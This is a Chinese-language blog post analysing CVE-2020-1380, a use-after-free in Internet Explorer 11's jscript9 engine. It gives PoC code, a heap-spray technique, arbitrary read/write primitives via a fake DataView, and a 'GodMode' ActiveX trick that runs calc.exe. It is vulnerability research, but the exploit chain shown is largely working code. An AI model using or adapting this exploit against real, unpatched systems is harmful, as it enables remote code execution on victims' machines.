ie CVE-2020-1380 UAF 漏洞分析及利用
2022-5-15 17:55:14 Author: mp.weixin.qq.com(查看原文) 阅读量:4 收藏

ie的版本是11.103.10586.0,在https://msdn.itellyou.cn/上下的系统是Windows 10 (Multiple Editions), Version 1511 (Updated Feb 2016) (x86) - DVD (English) ,对应的windows版本为Version 1511(OS Build 10586.104),该系统安装后的版本即为此次分析的ie浏览器版本,漏洞分析是在x86系统上进行的。

version

基础知识--custom heap 堆

ie 9之后的jscript9引擎中,为了阻止OOB漏洞的利用,ie把一些重点对象单独拿出来放到一个堆中来进行管理,而不是直使用进程堆。因此在jscript9中,堆数据可以分为两部分:

  • 一部分是进程堆(Process HeapCRT Heap)。
  • 一部分是自定义堆(Custom Heap),普通的Array对象、typed arrayview)对象、string对象都是分配在custom Heap里的。

一个有意思的点是var fa = new Float32Array(8)的代码,typed array对象的数据结构会保存在custom heap当中,然而它的fa.buffer(ArrayBuffer)的数据却是从进程堆中申请出来的。下面是JavascriptArrayBuffer::Create的反汇编代码,可以看到ArrayBuffer的堆分配函数是CRT函数malloc

struct Js::JavascriptArrayBuffer *__fastcall Js::JavascriptArrayBuffer::Create(
        unsigned int a1,
        struct Js::DynamicType *a2)
{
  ...
  Js::ArrayBuffer::ArrayBuffer(v5, a1, a2, _malloc);
  *(_DWORD *)v5 = &Js::JavascriptArrayBuffer::`vftable';
  return v5;
}

还需要知道一点的是当在自定义堆中申请大的对象时,自定义堆的数据管理结构是LargeHeapBlock,该对象构成了ie自定义堆的基础,存储有自定义堆上分配的大型堆空间的管理信息。LargeHeapBlock对象存储在进程堆中的。

LargeHeapBlock的数据结构如下所示,偏移量0x4处的指针指向IE自定义堆中的数据,对于通过创建多个大的Array对象来触发LargeHeapBlock对象分配的情况,该指针直接指向了此时分配的一个Array对象。0x14指向的是Allocated Block Count,即当前已经分配的Block,如果该字段被置为0,则该对象所指向的自定义堆会在垃圾回收的过程中被释放。

LargeHeapBlock_struct

漏洞分析

CVE-2020-1380IE11jscript9引擎的一个UAF漏洞,其成因是Array.prototype.push的副作用导致JIT引擎数据类型推导错误。

趋势科技给出的poc代码如下:

var ab = new ArrayBuffer(0x8c);
var fa = new Float32Array(ab);
 
var obj = {};
obj.valueOf = function({
    worker = new Worker('worker.js');
    worker.postMessage(ab, [ab]);
    worker.terminate();
    worker = null;
 
    var start = Date.now();
    while (Date.now() - start < 200) {}
 
    return 0
};
 
function opt(a, b, c, d{
    a = 1;
    arguments.push = Array.prototype.push;
    arguments.length = 0;
    arguments.push(d);
 
    if (c) {
        a = 2;
    }
 
    b[0] = a;
};
 
for (var i = 0; i < 0x100000; i++) {
    opt(1, fa, 11);
}
 
opt(1, fa, 0, obj);

先开启页堆hpapoc跑一遍,看看出啥问题。

"C:\Program Files\Windows Kits\10\Debuggers\x86\gflags.exe" -i iexplore.exe +hpa

崩溃现场如下。ftsp是将浮点寄存器st0中的值存储到对应内存中的意思,崩溃现场即是将0.0存储到地址11d81f70 中。

This exception may be expected and handled.
eax=11d81f70 ebx=1197d480 ecx=00000000 edx=00000116 esi=0de3bad0 edi=1ff61e00
eip=5d046083 esp=07cbc844 ebp=07cbc844 iopl=0 nv up ei pl zr na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010247
jscript9!Js::JavascriptConversion::ToFloat_Helper+0x13:
5d046083 d918 fstp dword ptr [eax] ds:0023:11d81f70=????????
0:008> r st0
st0= 0.00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e+0000 (0:0000:0000000000000000)

崩溃的成因是opt函数经过优化编译过后,b[0]=a所对应的代码会认为a一直都是浮点数,不会有side effect,因此直接调用ToFloat_Helpera转化成浮点数并赋值给b[0]。但是实际上在前面的代码中arguments.push会改变对象arguments[0](即对象a的类型),导致在b[0]=a赋值的时候可以触发回调函数。但是此时代码中缺少了对a的类型的检查,导致漏洞的形成。

poc中,触发漏洞时对象a的回调函数是调用postMessageArrayBuffer传递给workerpostMessage将数据传递给worker的同时,本线程就会失去对当前ArrayBuffer的所属,该ArrayBuffer就会被释放,但是后续在opt函数中b[0]=a,仍然将对象a返回值的0.0赋值给b[0],导致形成UAF漏洞。此处也是因为我们开启了页堆,所以将0.0当写入到已释放的内存ArrayBuffer 0x11d81f70的时候就报错了。

漏洞分析部分本应还包含代码层面的分析的,但是苦于对js9架构机制不太熟,所以只能从原理层面对漏洞成因进行分析,后续有能力再从代码层面进一步分析。

漏洞利用

上面的漏洞我们得到了一个UAF漏洞,即在回调函数中我们释放掉了ArrayBuffer数据内存,同时后续在优化编译函数中仍然可以对该内存进行读写操作。

首先要搞清楚的是我们使用什么来占用被释放掉的ArrayBuffer数据内存。在前面的基础知识中已经阐述过,ArrayBuffer数据内存是由进程堆分配的,LargeHeapBlock数据结构也是由进程堆分配的,因此如果我们利用漏洞释放掉ArrayBuffer数据内存后,再利用LargeHeapBlock占用该内存,后续再对ArrayBuffer数据进行读写的时候,实质上就是对LargeHeapBlock数据结构进行读写。

这里要搞清楚的是LargeHeapBlock数据结构大小是多少,很多文章都说该数据结构大小是根据申请的内存大小动态变化的,当申请new Array((0x1000 - 0x20) / 4)0x1000大小的Array的时候,LargeHeapBlock对应为new ArrayBuffer(0x8c)所对应的内存,具体可以动态调试下断点来进一步确认,断点如所示:

bp jscript9!LargeHeapBucket::AddLargeHeapBlock+0x92

所对应的代码如下所示,LargeHeapBlock::New的返回值即是LargeHeapBlock堆块。

struct LargeHeapBlock *__thiscall LargeHeapBucket::AddLargeHeapBlock(LargeHeapBucket *thisunsigned int a2)
{
   ...
    lpAddress = PageAllocator::Alloc((PageAllocator *)(v4 + 8), &v13, &v12);
    if ( lpAddress )
    {
      v6 = LargeHeapBlock::New(
             (char *)v12,
             (((v13 << 12) - a2 - 16) >> 10) + 1,
             *((_BYTE *)this + 28) != 0 ? this : 0,
             v9,
             v10);

此时问题就变成了对LargeHeapBlock数据结构进行读写,对何处进行读写能够继续进一步的利用。答案是覆盖LargeHeapBlock0x14偏移的Allocated Block Count字段,将它覆盖为0,这样后续如果触发垃圾回收机制,该LargeHeapBlock结构所管理的堆内存会被认为是被释放的,后面就会被继续申请与利用,从而就可以形成重叠堆快。

上述思路所形成的代码如下所示。opt函数中b[5] = a时会触发objvalueOf函数,该函数首先会释放absleep一段时间等待堆内存被释放,然后堆喷LargeHeapBlock结构去申请大内存重新占有该ab内存,因为valueOf函数会返回0,最终会执行b[5] = 0,此时ab已经被覆盖为LargeHeapBlock结构,因此会将LargeHeapBlock结构的Allocated Block Count修改为0

var ARRAY_LENGTH = 0x500
var b = new Array(ARRAY_LENGTH);
var c = new Array(ARRAY_LENGTH); 
var obj = {};
obj.valueOf = function({
    // free the Float32Array ArrayBuffer
    worker = new Worker('worker.js');
    worker.postMessage(ab, [ab]);
    worker.terminate();
    worker = null;
 
    // sleep to wait system free the ArrayBuffer
    var start = Date.now();
    while (Date.now() - start < 300) {}
    
    // spray LargeHeapBlock structure to occupy the freed ArrayBuffer
    for (var i = 0; i < ARRAY_LENGTH; ++i) {
        b[i] = new Array((0x1000 - 0x20) / 4);
        for (var j = 0; j < b[i].length; ++j)
            b[i][j] = 0x666;
    }
 
    return 0;
};

function opt(a, b, c, d{
    a = 1;
    arguments.push = Array.prototype.push;
    arguments.length = 0;
    arguments.push(d);
 
    if (c) {
        a = 2;
    }
 
    // now the Float32Array ArrayBuffer is the same as LargeHeapBlock structure, overwrite b[5] will change the LargeHeapBlock's Allocated Block Count to 0
    b[5] = a;
};

后续调用CollectGarbage手动触发垃圾回收,此时会认为被修改的LargeHeapBlock结构所对应数组b中的某个数组内存是被释放了的。此时再申请大内存,系统会再次分配该内存,此时数组b和数组c就有某个数组就会形成重叠堆块,遍历两个数组,找到重叠的对象内存。

// gc to manual free the LargeHeapBlock memory.
CollectGarbage();

var index1 = -1;
var index2 = -1;
// spray malloc LargeHeapBlock heap again, it will occupy the same memory with b array
for (var i = 0; i < ARRAY_LENGTH; ++i) {
    c[i] = new Array((0x1000 - 0x20) / 4);
    for (var j = 0; j < c[i].length; ++j)
        c[i][j] = 0x888;
}

// find the overlap heap in array b
for (var i = 0; i < b.length; i += 1) {
    if (b[i][0] == 0x888) {
        index1 = i;
        b[i][0] = 0x666;
        break;
    }
}
 
// find the overlap heap in array c
for (var i = 0; i < c.length; i += 1) {
    if (c[i][0] == 0x666) {
        index2 = i;
        break;
    }
}

找到重叠的对象后,将其中某个数组修改为对象数组,这样就形成整数数组与对象数组指向同一片内存,很简单的就得到了addr_of以及fake_obj原语:

// transition the array type 
c[index2][0] = {};

// now we can get addr_of and fake_obj primitive
var int_arr = b[index1];
var obj_arr = c[index2];
 
function addr_of(obj{
    obj_arr[0] = obj;
    return int_arr[0];
}

function fake_obj(addr{
    int_arr[0] = addr;
    return obj_arr[0];
}

有了addr_of以及fake_obj原语,接着就是构造aar以及aaw原语,原语的构造方法是伪造DataView结构体,通过修改DataView的内存指针来实现任意地址读写,详细过程可以参考Edge Type Confusion利用:从type confused到内存读写。

DataView对应的32位结构体如下所示,其中偏移为0x1c的是我们要填写任意地址读写的字段。

DataView:
+0x0 : vtable;
+0x4 : TypeObject;
+0x8 : 0;
+0xc : 0;
+0x10 : JavascriptArrayBuffer;
+0x14 : 0;
+0x18 : size;
+0x1c : Buffer;

还需要关注的三个字段是vtableTypeObject以及JavascriptArrayBuffer字段。

当我们利用伪造的fake_dv进行任意地址读写的时候,它会调用vtable中的虚函数,由于我们不知道虚函数表的地址,因此需要方法来绕过。方法是不直接用fake_dv.getUint32这样的形式来进行调用,而是用DataView.prototype.getUint32.call(fake_dv, 0, true)的形式来调用,这样就不需要从fake_dv对象的vtable字段来获取函数地址。

第二个要关注的字段是TypeObject指针,它里面的typeId要合理有效,JavascriptLibrary地址要为有效的内存地址。

TypeObject:
+0x0 : typeId;
+0x4 : JavascriptLibrary;
+0x8 : prototype;
+0xc : Js::RecyclableObject::DefaultEntryPoint;
+0x10 : 0;
+0x14 : 0;
+0x18 : SimplePathTypeHandler;
+0x1c : value;

第三个要关注的字段是JavascriptArrayBuffer,它所指向的内存地址某位是用来标记是否是isDetached。如果被置位,说明内存已被释放不能再使用,所以要将该字段置0

最终构造fake_dv代码如下。

// fake DataView struct container
var container = new Array(
    0,     // field 0: fake vtable
    0,      // field 1: TypeObject pointer
    0,      // field 2: Inherited data from Dynamic Object
    0,      // field 3: Inherited data from Dynamic Object
    0,      // field 4: buffer size
    0,      // field 5: ArrayBuffer Object pointer
    0,      // field 6: byteoffset
    0       // field 7: target addr
)

var container_addr = addr_of(container);
var fake_dv_addr = container_addr + 0x38;
container[0] = 46                   // fake vtable, also used as TypeId in TypeObject Pointer
container[1] = fake_dv_addr;        // fake TypeObject Pointer point to fake_dv_addr, also as fake TypeObject JavascriptLibrary pointer
container[2] = 0;                   // the isDetached bit should be 0
container[4] = fake_dv_addr + 8;    // fake ArrayBuffer Object pointer, the isDetached bit should be 0
container[6] = 0x300;               // fake size
container[7] = fake_dv_addr;        // arbitrary pointer

// build fake DataView, now we can aar and aaw with this fake_dv
var fake_dv = fake_obj(fake_dv_addr);

有了fake_dv以后,aar以及aaw就很简单了,修改DataViewBuffer字段即可。

// aar primitive
function read32(addr{
    container[7] = addr;
    var val = DataView.prototype.getUint32.call(fake_dv, 0true);
    return val;
}

function read8(addr{
    container[7] = addr;
    var val = DataView.prototype.getUint8.call(fake_dv, 0true);
    return val;
}

function read16(addr{
    container[7] = addr;
    var val = DataView.prototype.getUint16.call(fake_dv, 0true);
    return val;
}

// aaw primitive
function write8(addr, val{
    container[7] = addr;
    DataView.prototype.setUint8.call(fake_dv, 0, val, true);
}

function write32(addr, val{
    container[7] = addr;
    DataView.prototype.setUint32.call(fake_dv, 0, val, true);
}

function write_string(addr, s{
    var bytes = [];
    var i = 0;
    for ( ; i < s.length; ++ i ) {
        bytes[i] = s.charCodeAt(i);
    }

    bytes[i] = 0;

    write_bytes( addr, bytes );
}

function write_bytes(addr, bytes{
    for ( var i = 0; i + 3 < bytes.length; i += 4 ) {
        var value = (bytes[i] & 0xff) | ((bytes[i+1] & 0xff) << 8) |
                    ((bytes[i + 2] & 0xff) << 16) | ((bytes[i + 3] & 0xff) << 24);
                            
        write32( addr + i, value );
    }
            
    for ( ; i < bytes.length; ++ i ) {
        write8( addr + i, bytes[i] );
    }
}

有了任意地址读写原语,最后就是任意代码执行,根据[原创]IE JScript9.dll UAF漏洞(CVE-2020-1380)利用复现笔记,目前ieaar以及aaw到任意代码执行主要有三种方式:

  1. GodMode:利用任意地址读写原语修改内存中的GodMode字段,即可使用ActiveX调用任意代码与程序。
  2. 虚表劫持:劫持Js::JavascriptOperators::HasItem函数内的一处虚表调用为WinExec来调用任意代码。
  3. 覆盖栈上返回地址:覆盖Js::JavascriptString::EntrySplitJs::JavascriptString::EntrySlice函数的返回地址以劫持程序执行流。

我这里只用了第一种方式,因此解释下第一种方式的利用原理,其余两种后续漏洞分析有机会再分析。

ie中,决定不安全的ActiveX控件能否在没有提示的情况下运行仅仅依赖于单个标志,即ScriptEngine对象中的SafetyOption标志,如果通过任意地址读写将此标志置为0,那么就能开启实例化和运行不安全ActiveX控件的能力。详细原理可以查看Exploit IE Using Scriptable ActiveX Controls.pdf

在Internet Explorer 11中微软通过引入一个0x20字节的hash来保护SafetyOption标志不被覆盖,以此缓解该技术的利用。但是通过查看Windows 10当前jscript9.dll版本中的ScriptEngine::CanCreateObject以及ScriptEngine::CanObjectRun函数发现负责保护hashScriptEngine::GetSafetyOptions函数已经不见了,因此SafetyOption标志将不再受到保护,写入单个空字节就能实现利用的技术又可行了。

CanObjectRun

最终执行calc的代码如下所示:

// leak address
// get dataview vtable
var dv_vtable_addr = read32(addr_of(dv))
// get jscript9 module base
var jscript9_base_addr = get_module_base(dv_vtable_addr);
alert("[+] jscript9 base addr: "+hex(jscript9_base_addr));
// get kernel32 module base
var kernel32_base_addr = get_module_base_from_IAT(jscript9_base_addr, "KERNEL32");
alert("[+] kernel32 base addr: "+hex(kernel32_base_addr));
// get winexec addr
// var winexec_addr = get_proc_address( kernel32_base_addr, 'WinExec' );
// alert("[+] winexec func addr: "+hex(winexec_addr));

function run_shellcode({
    var shell = new ActiveXObject("WScript.shell");
    shell.Exec("calc.exe");
    // shell.Exec("notepad.exe");
}

// change the safe_mode flag
var leak_activex_addr = addr_of(ActiveXObject);
var script_engine = read32(read32(leak_activex_addr + 0x1c) + 0x04);
var safe_mode = script_engine + 0x1F4
// turn on god mode
write32(safe_mode, 0);

run_shellcode();

弹出计算器。

calc

当然,权限是AppContainer,后面还要过沙箱。

privilege

总结

这个漏洞是2020年抓到的一个在野利用的0 day,通过分析它进一步掌握了ie漏洞的利用方法,同时这个漏洞目前在野外利用还是不少。

64位系统中的利用大同小异,结构体指针字段加长罢了。

References

[1] 趋势科技: https://www.trendmicro.com/en_us/research/20/h/cve-2020-1380-analysis-of-recently-fixed-ie-zero-day.html
[2] Edge Type Confusion利用:从type confused到内存读写: https://www.anquanke.com/post/id/98774
[3] [原创]IE JScript9.dll UAF漏洞(CVE-2020-1380)利用复现笔记: https://bbs.pediy.com/thread-263885.htm
[4] Exploit IE Using Scriptable ActiveX Controls.pdf: https://github.com/jvazquez-r7/explib2/blob/modify/Exploit%20IE%20Using%20Scriptable%20ActiveX%20Controls.pdf
[5] CVE-2020-1380: Analysis of Recently Fixed IE Zero-Day: https://www.trendmicro.com/en_us/research/20/h/cve-2020-1380-analysis-of-recently-fixed-ie-zero-day.html
[6] Internet Explorer and Windows zero-day exploits used in Operation PowerFall: https://securelist.com/ie-and-windows-zero-day-operation-powerfall/97976/
[7] CVE-2020-1380: Internet Explorer JScript9 Use-after-Free: https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2020/CVE-2020-1380.html
[8] [原创]IE JScript9.dll UAF漏洞(CVE-2020-1380)利用复现笔记: https://bbs.pediy.com/thread-263885.htm
[9] IE浏览器0day漏洞CVE-2020-1380的分析、利用和检测: https://www.freebuf.com/vuls/283182.html
[10] Edge Type Confusion利用:从type confused到内存读写: https://www.anquanke.com/post/id/98774
[11] Exploit IE Using Scriptable ActiveX Controls.pdf: https://github.com/jvazquez-r7/explib2/blob/modify/Exploit%20IE%20Using%20Scriptable%20ActiveX%20Controls.pdf


文章来源: https://mp.weixin.qq.com/s?__biz=Mzg3OTc2NTMxNA==&mid=2247483711&idx=1&sn=08aca09e8263a1224c7366979d8c5d8d&chksm=cf7e3312f809ba0446db419d2ac26faab29b4532c8ab4adefa0de26613ae019e4392a9f74c7b&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh